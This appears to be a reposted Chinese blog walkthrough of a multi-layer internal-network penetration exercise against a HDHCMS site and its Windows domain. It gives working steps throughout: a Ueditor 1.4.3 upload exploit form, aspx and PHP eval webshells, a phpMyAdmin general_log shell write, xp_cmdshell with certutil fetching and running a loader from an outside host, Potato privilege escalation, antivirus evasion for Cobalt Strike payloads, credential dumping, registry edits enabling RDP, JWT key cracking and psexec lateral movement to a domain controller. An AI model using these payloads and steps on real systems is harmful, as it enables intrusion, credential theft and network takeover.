赞
踩
本次实战绘制出来的网络拓扑图如下:
网站url:
扫到后台地址:
发现有注册功能, 先注册一下尝试能不能登录
注册后成功登录
搜集到的信息
cms:HDHCMS
服务器名称:12SERVER-WEB1
操作系统:MicrosoftWindows NT 6.3.9600.0
中间件:IIIS8.5
脚本语言:aspx
物理路径:C:\Hws.com\HwsHostMaster\wwwroot\www.xxx.com\web\admin\Hdhadmin.aspx
数据库:MSSQL
上传目录:upfiles/
富文本编辑器:百度Ueditor1.4.3
在后台发现的富文本编辑器:百度Ueditor1.4.3 ,这个版本爆出过任意文件上传漏洞 , 可以直接拿shell, 进行漏洞验证
访问网上公开的POC,发现报错
很多情况下网站的二次开发会更改默认路径,已经知道了是HDHCMS,去查找其公开的源码,通过源代码的审计 ,得到编辑器路径
之后进行漏洞利用 ,构造一个aspx的图片马
aspx一句话木马:
然后图片马上传到公网服务器上
本地构造一个上传的form表单
<form action="http://www.xxx.com/admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
上传图片马,上传地址修改为:http://192.168.8.198/2.jpg?.aspx
成功上传该文件
访问木马地址
蚁剑连接
whoami查看权限发现是普通用户权限
ipconfig进行信息收集,发现存在内网网段
查看进程:tasklist
进行识别发现存在360全家桶和护卫神
哥斯拉生成1.aspx的木马
生成的木马内容:
<%@ Page Language=“Jscript”%><%eval(Request.Item[“pass”],“unsafe”);%>
成功连接
命令行执行whoami是普通用户权限
进入SweetPotato模块,点击load,点击run,成功提权到system权限
打开CS,这是个服务器与客户端多对多架构的工具,先开服务端
在Listeners面板中点击Add按钮,新建一个监听器,如图
生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload Generator命令,如图
保持默认配置,选择已经创建的监听器,设置输出类型为c,注意勾选x64,然后点击Generate按钮, 如图
加壳免杀
使用 cobaltstrike分离免杀工具生成loader.exe文件
过360火绒静态查杀
通过蚁剑上传到C:/Hws.com/HwsHostMaster/wwwroot/www.xxx.com/web/upfiles/image/xxx/目录下
哥斯拉进行提权成功以system权限上线到cs
logonpasswords 获取凭据
查看凭据
破解凭据,得到管理员的账号密码:
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是关闭的
shell netstat -ano 可以看到没有开放3389端口
打开3389端口
shell netstat -ano 再次查看可以看到3389端口已开放
使用上面得到的管理员的账号密码进行登录
页面显示报错密码过期
通过搜寻资料,了解到密码过期并不是真的过期,可能是开启了仅允许运行使用网络级别身份验证的远程桌面的计算机连接
关闭仅允许运行使用网络级别身份验证的远程桌面的计算机连接
shell REG ADD “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d “0” /f
成功登录
查看内网第二层网段存活的机器
arp -a 可以看到内网第二层网络还有一台192.168.59.129机器存活
线索发现
通过蚁剑和哥斯拉拿到的shell,查看数据库的配置文件
绝对路径
C:/Hws.com/HwsHostMaster/wwwroot/www.xxx.com/web/HdhApp.config
从源代码中发现是站库分离的,数据库服务器刚好是上面内网第二层网络的192.168.59.129机器
并且判断是1433端口MSSQL数据库的sa权限
<add key="HdhCmsConnStr" value="user id=sa;password=pass123@.com;initial catalog=DemoHdhCms;data source= 192.168.59.129"/>
开代理连数据库
cs服务器的地址和端口
连接数据库
成功连接
新建查询,启用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;EXEC sp_configure 'show advanced options',1;
如下
尝试调用xp_cmdshell运行系统命令
EXEC master…xp_cmdshell ‘ipconfig’;
恢复/删除xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
exec sp_dropextendedproc 'xplog70.dll'
关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;
查看一下有无杀软tasklist , 发现存在火绒
做一下火绒的免杀 , 尝试上线, 使用windows的certutil命令远程下载文件
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.8.198/loader.exe C:\Windows\Temp\schost.exe';
EXEC master..xp_cmdshell 'C:\Windows\Temp\schost.exe';
漏洞利用:
成功上线cs
如果目标机器出网,可以把木马放到自己的公网服务器上,如果目标机器不出网,只需把木马放到12server-web1上,供其下载
使用MS16-075Sweet Potato进行提权
漏洞利用
成功提权
logonpasswords 获取凭据
查看凭据
破解凭据,得到管理员的账号密码:
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是关闭的
shell netstat -ano 可以看到没有开放3389端口
打开3389端口
shell netstat -ano 再次查看可以看到3389端口已开放
挂上12server-web1的代理,使用上面得到的管理员的账号密码进行登录
成功登录
查看内网第三层网段存活的机器
arp -a 可以看到内网第二层网络还有一台192.168.22.130机器存活
通过12server-data1开代理访问12server-web2
cs服务器的地址和端口
代理端口扫描
目录扫描
访问
http://192.168.22.130/a.php
目录扫描发现报错页面得知为phpstudy_pro
访问80端口的web服务
http://192.168.22.130/
登录请求中 , 在token中发现jwt认证
jwt的特征就是前两段是base64编码(去掉==),最后一段是秘钥,然后点号拼接
爆破工具 jwt_tool(github直接下载)工具
git clone https://github.com/ticarpi/jwt_tool.git
爆破的命令
python3 jwt_tool.py xxx -C -d xxx.txt
成功爆破出秘钥:xxx is the CORRECT key!
JWT加解密
admin用户签名后的jwt
首先对浏览器代理进行配置
其次对burp进行配置
和浏览器代理同一配置
和代理同一配置
抓取数据包修改X-token
以admin身份登陆进去,之后发现后台什么都没有
根据上面目录扫描的结果得出是phpstudypro,本地搭建测试安装phpmyadmin,找到默认路径phpmyadmin4.8.5
http://192.168.22.130/phpmyadmin4.8.5
root和jwt跑出的key:xxx 登陆
利用phpmyadmin日志
show variables like '%general%';
SET GLOBAL general_log='on'; SHOW VARIABLES LIKE '%general%';
SET GLOBAL general_log_file='C:/phpStudy_pro/www/shell.php';
SELECT '<?php eval($_POST["cmd"]);?>'
写入一句话
蚁剑连接
地址:http://192.168.22.130/shell.php
密码:cmd
ipconfig内网还有其他网段
whoami直接是administrator权限
12server-data1设置中转监听
选择内网可以访问到的目标
生成木马,通过蚁剑上传到12server-web2,执行木马
JuicyPotato (ms16-075)
提权
logonpasswords 获取凭据
查看凭据
破解凭据,得到本地管理员的账号密码:
挂代理远程连接
成功连接
net view查看目标
发现内网还有一台12server-data2和一台16server-dc1
查看域管
查看域控详细信息
查看域用户
获取域控NTML
有域控的明文密码并且域控是开放445端口的,所以可以尝试psexec进行横向。
使用cs自带插件
首先设置smb监听
从目标出发
最终达到的效果如下
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
CSDN: https://blog.csdn.net/weixin_48899364?type=blog 公众号: https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect 博客: https://rdyx0.github.io/ 先知社区: https://xz.aliyun.com/u/37846 SecIN: https://www.sec-in.com/author/3097 FreeBuf: https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。